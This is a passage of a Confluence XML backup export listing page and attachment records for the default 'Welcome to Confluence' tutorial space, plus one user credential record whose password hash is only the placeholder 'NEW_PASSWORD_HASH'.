</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98351</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98354</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position">4</property>
|
||||
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98343</id>
|
||||
<property name="hibernateVersion">18</property>
|
||||
<property name="title"><![CDATA[step09-01.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step09-01.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262246</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262247</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262248</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262265</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">3</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98331</id>
|
||||
<property name="hibernateVersion">10</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262189</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.025</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98344</id>
|
||||
<property name="hibernateVersion">17</property>
|
||||
<property name="title"><![CDATA[Step8-01.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step8-01.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262227</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262228</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262258</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262259</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">2</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98336</id>
|
||||
<property name="hibernateVersion">10</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262188</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.030</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98335</id>
|
||||
<property name="hibernateVersion">12</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262195</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.033</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98337</id>
|
||||
<property name="hibernateVersion">17</property>
|
||||
<property name="title"><![CDATA[prev.jpg]]></property>
|
||||
<property name="lowerTitle"><![CDATA[prev.jpg]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262236</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262249</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262250</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98338</id>
|
||||
<property name="hibernateVersion">18</property>
|
||||
<property name="title"><![CDATA[welcome.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[welcome.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262235</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262238</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262262</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98314</id>
|
||||
<property name="hibernateVersion">37</property>
|
||||
<property name="title"><![CDATA[Learn the wonders of autoconvert (step 7 of 9)]]></property>
|
||||
<property name="lowerTitle"><![CDATA[learn the wonders of autoconvert (step 7 of 9)]]></property>
|
||||
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163844</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196609</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196610</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196611</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196612</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196613</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196644</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262150</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262167</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262185</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.044</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position">6</property>
|
||||
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="InternalUserCredentialRecord" package="com.atlassian.crowd.model.user">
|
||||
<id name="id">524289</id>
|
||||
<property name="user" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
|
||||
</property>
|
||||
<property name="passwordHash"><![CDATA[NEW_PASSWORD_HASH]]></property>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98313</id>
|
||||
<property name="hibernateVersion">13</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262191</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.049</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98312</id>
|
||||
<property name="hibernateVersion">14</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262193</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.053</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98311</id>
|
||||
<property name="hibernateVersion">16</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262177</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.056</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98318</id>
|
||||
<property name="hibernateVersion">42</property>
|
||||
<property name="title"><![CDATA[Prettify the page with an image (step 4 of 9)]]></property>
|
||||
<property name="lowerTitle"><![CDATA[prettify the page with an image (step 4 of 9)]]></property>
|
||||
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163850</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196627</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196629</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196631</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196632</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262160</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262162</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.061</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98342</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98346</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98350</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98352</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position">3</property>
|
||||
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98317</id>
|
||||
<property name="hibernateVersion">28</property>
|
||||
<property name="title"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="lowerTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
|
||||
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163841</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196616</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196639</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196642</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196643</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262154</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.065</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98337</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98345</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98347</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98349</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position">2</property>
|
||||
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98316</id>
|
||||
<property name="hibernateVersion">16</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262173</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.071</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98315</id>
|
||||
<property name="hibernateVersion">5</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262159</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.074</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98322</id>
|
||||
<property name="hibernateVersion">53</property>
|
||||
<property name="title"><![CDATA[A quick look at the editor (step 2 of 9)]]></property>
|
||||
<property name="lowerTitle"><![CDATA[a quick look at the editor (step 2 of 9)]]></property>
|
||||
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163849</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196650</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196651</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196652</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196653</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262166</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262182</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.078</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98339</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98355</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98356</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position">1</property>
|
||||
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98321</id>
|
||||
<property name="hibernateVersion">38</property>
|
||||
<property name="title"><![CDATA[Lay out your page (step 6 of 9)]]></property>
|
||||
<property name="lowerTitle"><![CDATA[lay out your page (step 6 of 9)]]></property>
|
||||
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163848</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196628</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196633</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196634</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196635</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196636</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262153</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262156</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.083</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98340</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98348</id>
|
||||
</element>
|
||||
<element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98353</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position">5</property>
|
||||
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98320</id>
|
||||
<property name="hibernateVersion">24</property>
|
||||
<property name="title"><![CDATA[What is Confluence? (step 1 of 9)]]></property>
|
||||
<property name="lowerTitle"><![CDATA[what is confluence? (step 1 of 9)]]></property>
|
||||
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163843</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196621</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196625</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196630</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262155</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.086</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position">0</property>
|
||||
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98319</id>
|
||||
<property name="hibernateVersion">30</property>
|
||||
<property name="title"><![CDATA[Welcome to Confluence]]></property>
|
||||
<property name="lowerTitle"><![CDATA[welcome to confluence]]></property>
|
||||
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163842</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196624</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196637</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196638</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196640</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196641</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196645</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196646</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196647</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196648</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196649</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.089</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98338</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position">8</property>
|
||||
<collection name="children" class="java.util.Collection"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
|
||||
</element>
|
||||
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
|
||||
</element>
|
||||
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
